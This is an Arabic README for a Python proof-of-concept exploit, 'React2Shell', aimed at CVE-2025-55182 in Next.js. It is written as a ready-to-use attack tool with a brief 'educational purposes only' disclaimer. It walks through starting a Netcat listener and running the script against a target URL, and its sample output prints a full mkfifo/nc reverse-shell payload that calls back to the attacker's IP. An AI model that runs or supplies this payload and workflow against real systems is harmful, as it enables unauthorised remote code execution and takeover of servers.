
هذا سكربت PoC سهل الاستخدام لاستغلال ثغرة React2Shell-CVE-2025-55182 في Nextjs. سيساعد ذلك في الحصول على شل عكسي.
🚀 React2Shell - (CVE-2025–55182) سكربت الاستغلال
🔥 مقدمة
يحتوي هذا المستودع على سكربت استغلال لثغرة React2Shell (CVE-2025–55182)، والتي تستهدف نوعًا معينًا من تلوث النموذج الأولي (Prototype Pollution) في Node.js مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE).
تم تصميم السكربت خصيصًا لإنشاء اتصال صدفة عكسية عبر Netcat عن طريق حقن حمولة خبيثة في التطبيق الضعيف.
⚠️ إخلاء المسؤولية
هذه الأداة مخصصة لأغراض التعليم والبحث فقط.
⚙️ المتطلبات الأساسية
- Python 3.x
- مكتبة
requestsالتثبيت
يمكنك تثبيت التبعية المطلوبة للغة Python باستخدام
pip:pip install requests
🖥️ الاستخدام
السكربت أداة متخصصة للحصول على صدفة عكسية ويتطلب 3 معاملات رئيسية: عنوان الهدف (URL) (
-u)، عنوان IP المحلي الخاص بك (-l)، ومنفذ المستمع (Listener) (-p).1. ابدأ المستمع الخاص بك
قبل تشغيل الاستغلال، يجب عليك إعداد مستمع Netcat على جهازك المحلي لاستقبال اتصال الصدفة العكسية الوارد.
# Start Netcat listener on port 9001 (or your custom port) nc -lvnp 90012. شغّل سكربت الاستغلال
نفّذ السكربت مع توفير الوسائط المطلوبة. إذا حذفت المنفذ (
-p)، فسيتم استخدام القيمة الافتراضية 9001.
العلم الوسيطة الوصف مثال -u--url(مطلوب) عنوان URL الكامل للهدف الضعيف. http://192.168.1.100:3000-l--local-ip(مطلوب) عنوان IP الخاص بالمهاجم/المستمع. 192.168.1.5-p--portالمنفذ الذي يعمل عليه المستمع الخاص بك. 4444
مثال على الاستخدام
لاستهداف
http://192.168.1.100:3000/وإعادة الاتصال بالمستمع الخاص بك على192.168.1.5:4444:python react2shell.py -u http://192.168.1.100:3000 -l 192.168.1.5 -p 4444الناتج المتوقع
يعتمد الاستغلال على دالة
execSyncعلى الهدف، والتي عادةً ما تحجب عملية الخادم. لذلك، يُعد انتهاء مهلة القراءة (ReadTimeout) علامة متوقعة على نجاح تنفيذ الأوامر.### 🔥 React2Shell - (CVE-2025–55182) ### By Hasa [*] Target URL (-u): [http://192.168.1.100:3000/](http://192.168.1.100:3000/) [*] Local IP (-l): 192.168.1.5 [*] Port (-p): 4444 [*] Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f [*] Sending payload... [+] [+] Attack may be Successful! Check your Netcat Listner.إذا نجح الأمر، سترى الصدفة تتصل على مستمع Netcat الخاص بك.
🖼️ قائمة المساعدة
تشغيل السكربت بدون وسائط يعرض الشعار (Banner) وتعليمات الاستخدام الإلزامية:
python react2shell.pyالناتج:
### 🔥 React2Shell - (CVE-2025–55182) ### By Hasa usage: react2shell.py [-h] -u URL -l LOCAL_IP [-p PORT] Educational Purposes Only!!! options: -h, --help show this help message and exit -u URL, --url URL (REQUIRED) The target URL (Ex: "[http://example.com:3000](http://example.com:3000)") -l LOCAL_IP, --local-ip LOCAL_IP (REQUIRED) Listner or Attacker IP (Ex: "192.168.100.1") -p PORT, --port PORT Listner Port (Default: 9001)
![]()